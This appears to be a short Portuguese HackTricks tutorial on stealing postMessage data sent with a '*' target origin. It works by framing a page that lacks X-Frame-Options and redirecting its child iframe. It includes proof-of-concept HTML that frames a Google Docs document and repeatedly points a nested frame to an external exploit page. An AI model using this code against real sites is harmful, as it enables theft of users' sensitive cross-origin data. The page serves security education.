Roubar postmessage modificando a localização do iframe

Reading time: 2 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Mudando as localizações de iframes filhos

De acordo com este artigo, se você puder iframe uma página da web sem o X-Frame-Header que contém outro iframe, você pode mudar a localização desse iframe filho.

Por exemplo, se abc.com tiver efg.com como iframe e abc.com não tiver o cabeçalho X-Frame, eu poderia mudar o efg.com para evil.com de origem cruzada usando frames.location.

Isso é especialmente útil em postMessages porque se uma página estiver enviando dados sensíveis usando um wildcard como windowRef.postmessage("","*"), é possível mudar a localização do iframe relacionado (filho ou pai) para um local controlado por atacantes e roubar esses dados.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks